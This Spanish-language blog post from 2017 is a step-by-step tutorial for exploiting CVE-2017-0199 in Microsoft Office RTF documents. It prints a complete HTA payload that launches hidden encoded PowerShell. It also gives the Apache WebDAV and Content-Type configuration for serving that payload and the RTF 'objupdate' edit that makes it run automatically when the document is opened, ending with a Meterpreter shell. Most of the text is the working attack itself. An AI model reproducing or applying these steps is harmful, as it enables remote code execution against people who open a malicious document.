Sunday, September 24, 2017

Explotación práctica de CVE 2017 0199 Windows RTF RCE

Explotación práctica de CVE 2017 0199 Windows RTF RCE


Red teams, juakers y dem�s fauna est�n enviando masivamente documentos maliciosos que explotan la vulnerabilidad CVE-2017-0199 y luego usan MS17-010 para pivotar a trav�s de dominios internos, literalmente est�n lloviendo shells�

Si record�is, la vulnerabilidad etiquetada como CVE-2017-0199 naci� como un 0-day que explotaba las �ltimas versiones de Microsoft Office, concretamente un RTF que se vio inicialmente en un manual militar en ruso con objetivos en la Rep�blica de Donestk y que compromet�a el PC de la v�ctima con s�lo abrirlo (permit�a RCE). Luego se us� tambi�n para instalar malware como Latentbot y en campa�as del troyano bancario Dridex, aunque hasta ahora no hab�a mucho detalle del exploit.

Y digo hasta ahora porque en varios sitios est�n reportando verdaderos tutoriales para montar y llevar a cabo ataques explotando esta vulnerabilidad que, como dec�a al principio, se encadenan con MS17-010 y otros para conseguir verdaderas intrusiones �hasta la cocina�.

Uno de los m�s "did�cticos" es el de David Routin (@Rewt_1) que plantea un escenario en el que hay que:

- Modificar el c�digo fuente del RTF con el payload
- Evitar el error generado al crear un enlace directo al documento HTA
- Activar autom�ticamente el objeto OLE

Ech�mosle un vistazo a c�mo llevarlo a cabo paso a paso:

Paso 1

Prepara un archivo HTA: (el archivo HTA es una aplicaci�n HTML que puede ejecutar JScript y VBscript)
Vamos a llamarlo "ms.hta"
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
<html >

  <head>

    <meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
    <title>Bonjour
    </title>

    <script language="VBScript">
      Set owFrClN0giJ = CreateObject("Wscript.Shell")
      Set v1ymUkaljYF = CreateObject("Scripting.FileSystemObject")
      If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings("%PSModulePath%") + "..powershell.exe") Then

      owFrClN0giJ.Run "powershell.exe -nop -w hidden -e ENCODED_B64_SHELL"
      End If

    </script>
    <hta:application

                     id="oHTA"
                     applicationname="Bonjour"
                     application="yes"
                     >

    </hta:application>
  </head>
  <div>

    <object type="text/html" data="hxxp://windows.microsoft.com/en-IN/windows7/products/features/windows-defender" width="100%" height="100%">

    </object>
  </div>  
  <body>
  </body>
</html>

Paso 2

Crea un sencillo documento RTF utilizando Winword con cualquier contenido. (En el ejemplo la frase �This is my official and legit content�)

Ll�malo "ms.rtf"

Paso 3

Sube los 2 archivos a un servidor web en el que tengas control total.
Normalmente en /var/www/html

Ahora tenemos que configurar Apache para poder incluir el ms.rtf como un enlace
 a2enmod dav  
 a2enmod dav_fs
 a2enmod dav_lock
 a2enmod headers
 service apache2 restart

Luego las siguientes directivas:

- A�adir "Content-Type application/rtf a todos los archivos en /ms
- Permitir la petici�n PROPFIND realizada por Microsoft Office

Modifica virtualhost e incluye:
 <Directory /var/www/html/ms/> 
 Header set Content-Type "application/rtf"
 </Directory>
 <Directory />
 Dav on
 </Directory>

service apache2 restart

Paso 4

Crea un simple documento RTF con Winword "exploit.rtf" �Ese ser� el exploit!

Insertar -> Objeto


Despu�s de hacer clic en Aceptar, ver�s el contenido del archivo "ms.rtf" con el texto,

Guarda el archivo como "exploit.rtf"



En este paso podemos cerrar Winword y pasar a la siguiente fase para cambiar el contenido de ms.rtf con el payload de HTA ...

Paso 5

El siguiente paso ser�:
- cambiar el ms.rtf que hemos incluido con el payload personalizado de HTA
- El servidor web enviar� un tipo de contenido "application/hta" ... esto ser� interpretado por el cliente Winword que ejecutar� mshta para manejar este tipo de contenido y ejecutar el payload

 cat /var/www/html/ms/ms.hta > /var/www/html/ms.rtf  

 vi /etc/apache2/sites-enables/000-default

 Cambia -> application/rtf a application/hta

 como:

 <Directory /var/www/html/ms/>
 Header set Content-Type "application/hta"
 </Directory>

 service apache2 restart

Paso 6

En este paso, si el usuario abre el archivo "exploit.rtf", tendr� que hacer doble clic en el objeto del enlace para lanzar el ataque ...

Si queremos que el objeto OLE se cargue autom�ticamente en la apertura del documento tenemos que editar el archivo exploit.rtf y cambiar:

objectobjautlink sltpictobjw9073objh509(*
a
objectobjautlinkobjupdate sltpict��������..

En este paso se construye el exploit.

Explotaci�n:

Una vez que el usuario abre el documento el objeto OLE se actualiza a trav�s del enlace y mshta se ejecuta gracias al tipo de contenido application / hta entregado por el servidor
Resultado: se ejecuta el c�digo!

Ya tenemos Meterpreter


No nos importa la advertencia ya que el c�digo ya se ha ejecutado ...


Referencias:
- http://securityaffairs.co/wordpress/58077/breaking-news/cve-2017-0199-exploitation-poc.html
- https://github.com/bhdresh/CVE-2017-0199
- https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html
- https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler-vulnerability/
- https://blog.nviso.be/2017/04/12/analysis-of-a-cve-2017-0199-malicious-rtf-document/


download file now